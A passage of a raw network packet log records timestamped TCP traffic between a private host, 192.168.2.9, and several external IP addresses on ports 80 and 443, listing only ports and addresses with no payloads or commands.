Nov 18, 2024 15:17:06.745959997 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745968103 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745970964 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.745981932 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745995045 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.746042967 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.746319056 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.746330976 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.746342897 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.746355057 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.746366978 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.746371984 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.746383905 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.746402025 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.746402025 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.746412992 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.746421099 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.746433973 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.746444941 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.746455908 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.746465921 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.746465921 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.746467113 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.746479034 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.746490955 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.746503115 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.746505022 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.746515036 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.746530056 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.746530056 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.746575117 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.746958017 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.746969938 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.746980906 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.746992111 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.747003078 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.747014046 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.747016907 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.747025967 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.747036934 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.747037888 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.747061968 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.747086048 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.748450994 CET	443	49812	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.748481989 CET	443	49812	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.748548031 CET	49812	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.748574018 CET	443	49812	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.748615980 CET	49812	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.796693087 CET	443	49815	23.96.180.189	192.168.2.9
Nov 18, 2024 15:17:06.796713114 CET	443	49815	23.96.180.189	192.168.2.9
Nov 18, 2024 15:17:06.796771049 CET	49815	443	192.168.2.9	23.96.180.189
Nov 18, 2024 15:17:06.796796083 CET	443	49815	23.96.180.189	192.168.2.9
Nov 18, 2024 15:17:06.797586918 CET	49815	443	192.168.2.9	23.96.180.189
Nov 18, 2024 15:17:06.797638893 CET	443	49815	23.96.180.189	192.168.2.9
Nov 18, 2024 15:17:06.797771931 CET	49815	443	192.168.2.9	23.96.180.189
Nov 18, 2024 15:17:06.815890074 CET	443	49812	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.815968037 CET	443	49812	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.816006899 CET	49812	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.816049099 CET	49812	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.816463947 CET	49812	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.816484928 CET	443	49812	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.829279900 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.829303026 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.829313993 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.829365969 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.829401016 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.883824110 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.883847952 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.883868933 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.883908987 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.883934975 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.883965969 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.883977890 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.883985996 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884043932 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.884140968 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884152889 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884166956 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884179115 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884191990 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884205103 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884232044 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.884232044 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.884260893 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.884295940 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884309053 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884321928 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884341955 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.884375095 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.884527922 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884540081 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884551048 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884562016 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884573936 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884584904 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884598970 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884607077 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.884607077 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.884610891 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884624004 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884634972 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884646893 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.884682894 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.884874105 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884886980 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884897947 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884910107 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884922028 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884951115 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.884977102 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.884984970 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.884995937 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885008097 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885020018 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885031939 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885032892 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.885045052 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885056019 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885066986 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885078907 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885091066 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885096073 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.885096073 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.885113001 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.885137081 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.885617018 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885631084 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885641098 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885653019 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885670900 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885682106 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885694981 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885705948 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885715961 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.885715961 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.885716915 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885727882 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885740995 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885746956 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.885751963 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885763884 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885775089 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885777950 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.885786057 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885787964 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.885798931 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885809898 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885823011 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885824919 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.885834932 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885847092 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885871887 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885878086 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.885879993 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885883093 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885888100 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.885988951 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.886567116 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886580944 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886596918 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886615992 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886634111 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886632919 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.886646986 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886658907 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886660099 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.886670113 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886681080 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886689901 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.886693001 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886706114 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886717081 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886720896 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.886738062 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.886738062 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886749983 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886759043 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.886763096 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886775017 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886791945 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886807919 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886816025 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.886818886 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886831999 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886842966 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886854887 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886867046 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.886884928 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.886884928 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.886884928 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.886912107 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.887497902 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.887511969 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.887522936 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.887533903 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.887546062 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.887552977 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.887563944 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.887577057 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.887588978 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.887599945 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.887602091 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.887612104 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.887622118 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.887634039 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.887639999 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.887639999 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.887645960 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.887658119 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.887670040 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.887682915 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.887692928 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.887706995 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.887706995 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.887708902 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.887720108 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.887732029 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.887749910 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.887833118 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.887968063 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.887983084 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.888006926 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.888041019 CET	49816	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.888061047 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.888124943 CET	49816	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.888161898 CET	49816	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.888545036 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.888557911 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.888570070 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.888582945 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.888593912 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.888606071 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.888612032 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.888617039 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.888629913 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.888643980 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.888649940 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.888657093 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.888669968 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.888681889 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.888693094 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.888700962 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.888700962 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.888705969 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.888716936 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.888729095 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.888741016 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.888741016 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.888761044 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.888803005 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.889367104 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.889379978 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.889391899 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.889419079 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.889430046 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.889441967 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.889442921 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.889456987 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.889467955 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.889477968 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.889482021 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.889489889 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.889539003 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.889539003 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.889761925 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.889794111 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.889803886 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.889825106 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.889837027 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.889846087 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.889858007 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.889864922 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.889929056 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.890883923 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.890911102 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.890918970 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.890934944 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.890943050 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.890953064 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.891011953 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.891045094 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.891113043 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.948170900 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.948196888 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.948210001 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.948308945 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.948308945 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.982594013 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.982614040 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.982625961 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.982676983 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.982681990 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.982693911 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.982718945 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.982749939 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.982757092 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.982769966 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.982809067 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.982837915 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.982850075 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.982861042 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.982861042 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.982871056 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.982882977 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.982911110 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.982984066 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.982994080 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.982996941 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983011961 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983042002 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.983056068 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.983196974 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983207941 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983220100 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983253956 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.983278036 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.983284950 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983298063 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983310938 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983330965 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983341932 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983356953 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.983378887 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.983442068 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983454943 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983465910 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.983467102 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983480930 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983532906 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.983532906 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.983627081 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983639002 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983650923 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983661890 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983674049 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983695984 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.983715057 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.983783007 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983799934 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983810902 CET	80	49750	185.215.113.206	192.168.2.9
